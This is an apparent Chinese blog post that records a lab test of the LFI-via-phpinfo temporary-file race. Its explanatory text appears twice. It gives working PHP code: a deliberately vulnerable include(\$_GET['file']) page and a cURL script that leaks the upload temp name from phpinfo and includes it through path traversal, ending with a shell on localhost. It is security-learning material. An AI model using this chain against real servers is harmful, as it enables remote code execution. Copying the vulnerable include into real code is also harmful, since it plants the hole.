测试LFI WITH PHPINO过程中的一些记录
2016-03-05 20:19
731 查看
原理:以往LFI漏洞都是需要满足两个条件:1.攻击者上传一个含PHP代码的的文件,后缀名任意,没有后缀名也可以;2.需要知道上传后的文件路径及文件名,然后包含之。
后来有国外研究者发现了新的攻击方式,话说外国基佬的思路确实够猥琐。该思路的原理是:PHP在以enctype=multipart/form-data方式POST文件时,不论POST到哪个文件,PHP都会在临时目录中生成一个临时文件名,然后调用脚本处理该临时文件,最后删除这个临时文件。于是乎新的攻击思路成形了:可以POST到phpinfo.php文件,这样可以直接获得临时文件的路径和名称,然后在PHP删除临时文件之前包含这个临时文件即可。这里最麻烦的是如何在临时文件被删除之前包含它通常有这么几种考虑:1.上传大文件,这样PHP的处理就会变慢,经过实际测试,大概3M左右的时候就可以肉眼看到生成的临时文件了,虽然会很快被删除,但是这里确实能看到从生成到删除的全过程了。2.通过大量请求来延迟PHP脚本的处理速度。
测试文件如下:
phpinfo.php
View Code
curlpost.php(使用PHP CURL来模拟表单提交数据,模拟表单的代码参考了这里http://www.cnblogs.com/jackluo/p/4113255.html,在他的基础上做了修改)
lfi.php
测试用的大文件post.txt,5M多一点,这个很容易生成就不贴代码了,截个图看下效果
![](http://images2015.cnblogs.com/blog/519409/201603/519409-20160305201421268-1706598734.jpg)
最后执行的效果
![](http://images2015.cnblogs.com/blog/519409/201603/519409-20160305201714940-1916629056.jpg)
最后可以看到shell已经生成了
后来有国外研究者发现了新的攻击方式,话说外国基佬的思路确实够猥琐。该思路的原理是:PHP在以enctype=multipart/form-data方式POST文件时,不论POST到哪个文件,PHP都会在临时目录中生成一个临时文件名,然后调用脚本处理该临时文件,最后删除这个临时文件。于是乎新的攻击思路成形了:可以POST到phpinfo.php文件,这样可以直接获得临时文件的路径和名称,然后在PHP删除临时文件之前包含这个临时文件即可。这里最麻烦的是如何在临时文件被删除之前包含它通常有这么几种考虑:1.上传大文件,这样PHP的处理就会变慢,经过实际测试,大概3M左右的时候就可以肉眼看到生成的临时文件了,虽然会很快被删除,但是这里确实能看到从生成到删除的全过程了。2.通过大量请求来延迟PHP脚本的处理速度。
测试文件如下:
phpinfo.php
<?php phpinfo(); ?>
View Code
curlpost.php(使用PHP CURL来模拟表单提交数据,模拟表单的代码参考了这里http://www.cnblogs.com/jackluo/p/4113255.html,在他的基础上做了修改)
<?php function curl_post($url, $data, $header = array()){ if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if(is_array($header) && !empty($header)){ $set_head = array(); foreach ($header as $k=>$v){ $set_head[] = "$k:$v"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $set_head); } curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 1);// 1s to timeout. $response = curl_exec($ch); if(curl_errno($ch)){ //error return curl_error($ch); } $reslut = curl_getinfo($ch); print_r($reslut); curl_close($ch); $info = array(); if($response){ $info = json_decode($response, true); } return $info; } else { throw new Exception('Do not support CURL function.'); } } //*/ // function api_notice_increment($url, $data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); // $data = http_build_query($data); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); //curl_file_create // $result = curl_exec($ch); $lst['rst'] = curl_exec($ch); $lst['info'] = curl_getinfo($ch); curl_close($ch); return $lst; // return $result; } /** * curl文件上传 * @var struing $r_file 上传文件的路劲和文件名 * */ /* function upload_file($url,$r_file) { $file = array("fax_file"=>'@'.$r_file,'type'=>'image/jpeg');//文件路径,前面要加@,表明是文件上传. $curl = curl_init(); curl_setopt($curl, CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,$file); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 0); $result = curl_exec($curl); //$result 获取页面信息 curl_close($curl); echo $result ; //输出 页面结果 }*/ function upload_file($url,$filename,$path,$type){ $data = array( 'pic'=>'@'.realpath($path).";type=".$type.";filename=".$filename ); $reg='/.*\.tmp/'; $arr=[]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // curl_getinfo($ch); $return_data = curl_exec($ch); curl_close($ch); preg_match($reg, $return_data,$arr); //echo $arr[0]; $arr2=explode("\\",$arr[0]); $ext=$arr2[count($arr2)-1]; $lfi=curl_init(); curl_setopt($lfi, CURLOPT_URL, "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext); curl_exec($lfi); curl_close($lfi); echo "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext; //echo $return_data; } if ($_POST) { $url = 'http://127.0.0.1:81/mycode/phpinfo.php'; // $path = $_SERVER['DOCUMENT_ROOT']; /* print_r($_FILES); exit; */ //$filename = $path."/232.jpg"; //upload tmp $tmpname = $_FILES['fname']['name']; $tmpfile = $_FILES['fname']['tmp_name']; $tmpType = $_FILES['fname']['type']; // echo $tmpType; upload_file($url,$tmpname,$tmpfile,$tmpType); /* $data = array( 'path'=>"@$path/232.jpg", 'name'=>'h' ); */ //'pic'=>'@/tmp/tmp.jpg', 'filename'=>'tmp' //$data = array('pic'=>"@$filename", 'filename'=>'tmp'); /* $data = array( 'uid' => 10086, 'pic' => '@$tmpfile'.';type='.$tmpType ); $info = api_notice_increment($url, $data); */ //$info = curl_post($url, $data); //$info = api_notice_increment($url, $data); //upload_file($url,$tmpfile); //print_r($info); exit; /* $file = 'H:\www\test\psuCARGLSPA-pola.jpg'; //要上传的文件 $src = upload_curl_pic($file); echo $src; */ } ?> <form enctype="multipart/form-data" method="post"> <p>UpLoad: <input type="text" name="fname" /></p> <p>UpLoad: <input type="file" name="fname" /></p> <input type="submit" value="Submit" /> </form>
lfi.php
<?php include($_GET['file']); ?>
测试用的大文件post.txt,5M多一点,这个很容易生成就不贴代码了,截个图看下效果
![](http://images2015.cnblogs.com/blog/519409/201603/519409-20160305201421268-1706598734.jpg)
最后执行的效果
![](http://images2015.cnblogs.com/blog/519409/201603/519409-20160305201714940-1916629056.jpg)
最后可以看到shell已经生成了
![](http://images2015.cnblogs.com/blog/519409/201603/519409-20160305201836768-2092735872.jpg)
相关文章推荐
- 在Yii2中使用Pjax导致Yii2内联脚本载入失败的问题
- PHP正则表达式
- $smarty->display('index2.tpl');
- 酷狗音乐(繁星网)PHP岗位笔试题
- php实现一个单链表
- PHP实现页面静态化——局部动态化
- php 获取地址栏参数
- PHP spl_autoload和class_exsits使用技能
- CakePHP 3.2 数据库访问和ORM篇
- PHP 图片上传生成缩略图代码
- PHP 中实现GZIP压缩页面输出实例
- PHP 读取数据库内容并以二维数组按指定列输出实例
- CakePHP3.2 文件接口篇
- vsftpd配置文件讲解
- 适用于 php-5.2 的 php.ini 中文版
- ThinkPHP函数详解:C方法
- PHP - __clone 对象克隆
- 新版thinkphp3.2使用模板主题的方法
- php编写的抽奖程序中奖概率算法
- PHP strstr()函数详解